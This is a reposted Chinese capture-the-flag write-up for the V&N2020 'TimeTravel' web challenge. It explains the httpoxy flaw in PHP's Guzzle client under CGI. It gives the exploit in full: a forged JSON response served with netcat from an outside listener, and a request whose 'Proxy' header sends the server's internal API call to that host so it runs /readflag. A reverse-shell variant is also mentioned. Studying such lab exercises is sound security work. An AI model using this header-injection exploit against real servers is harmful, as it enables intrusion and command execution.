[V&N2020 公開賽]TimeTravel 復現


大佬友鏈(狗頭):https://www.cnblogs.com/p201821440039/

參考博客:

https://www.zhaoj.in/read-6407.html

https://cjm00n.top/2020/02/29/V-N%E5%85%AC%E5%BC%80%E8%B5%9B2020-writeup/

 

https://www.cnblogs.com/20175211lyz/p/12398612.html

https://www.cnblogs.com/wangtanzhi/p/12388331.html

https://buki-freak.github.io/2020/03/04/V-N-%E5%86%85%E9%83%A8%E8%80%83%E6%A0%B8-wp/#TimeTravel

 

菜雞當時沒有打出來,后來趁着還有記憶趕快記錄一下!

首先進入就直接給了源碼:

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
​
use GuzzleHttp\Client;
​
highlight_file(__FILE__);
​
if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}
​
if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}
​
if(isset($_GET['phpinfo'])) {
    phpinfo();
}
View Code

 

代碼的主要含義就是:

1.傳入一個flag,就會去請求HTTP-api服務,假如該服務器返回success的話,就會執行程序讀取flag,傳file進入的話就會去讀取這個文件,如果是pipinfo,則執行phpinfo

 

起初也沒發現怎么做,后來復現的時候才知道是考的CGI特性,了來源是VULHUB的一道題

首先隨意看看phpinfo,貌似沒有什么

趙師傅的博客里寫了:

 

 

 然后才知道

在大佬的提示下:此處是use GuzzleHttp\Client,Guzzle 使用的是 RFC 3875 (CGI)

圖片

因此考點就是httppoxy這個東西

那么是怎么利用的嘛:

是因為其的代碼以cgi模式運行,那么cgi模式是啥?

CGI是common gateway interface的縮寫,大家都譯作通用網關接口,但很不幸,我們無法見名知意。

總所周知,web服務器所處理的任務都是靜態的,假如其要想處理動態的任務,則需要web應用程序的幫助,比如PHP,jsp,python,perl等

為了將web服務器的動態請求傳遞給這些應用程序,依靠cgi協議。

簡單的cgi工作方式:

圖片

有多種方式可以執行cgi程序,但對http的請求方法來說,只有get和post兩種方法允許執行cgi腳本(即上面的search程序)。實際上post方法的內部本質還是get方法,只不過在發送http請求時,get和post方法對url中的參數處理方式不一樣而已。

更多關於CGI詳細的解釋:鏈接

然后關於cgi'還有好多東西,后面再整理一篇博客(我又挖坑給自己跳了)

總而言之就是這個規則會將header中的proxy參數設置沖環境變量HTTP_PROXY

以下是影響范圍:

圖片

所以跟之前的那道題一樣,要在監聽端口,於是開一台內網服務器

(網上有兩種方法都嘗試了,但是只有下面這種我拿到flag了)

使用下面的exp:

建一個b.txt文件

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
​
{"success":true}
View Code

 

然后傳到服務器上(也可以在服務器上直接vim,但是我的xshell好像有問題)

然后運行監聽端口

nc -lvp 8888 < b.txt

 

然后bp發包如下(重點是最后一句):

GET /?flag=123 HTTP/1.1
Host:xxxxxxxxnode3.buuoj.cn:27571
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Proxy: http://174.0.236.30:8888
View Code

 

然后就拿到flag

圖片

突然發現還有兩種解法:第二種解法 這個使用php -S 0:xxxx端口語句 

                    第三種解法   這個解法是反彈shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM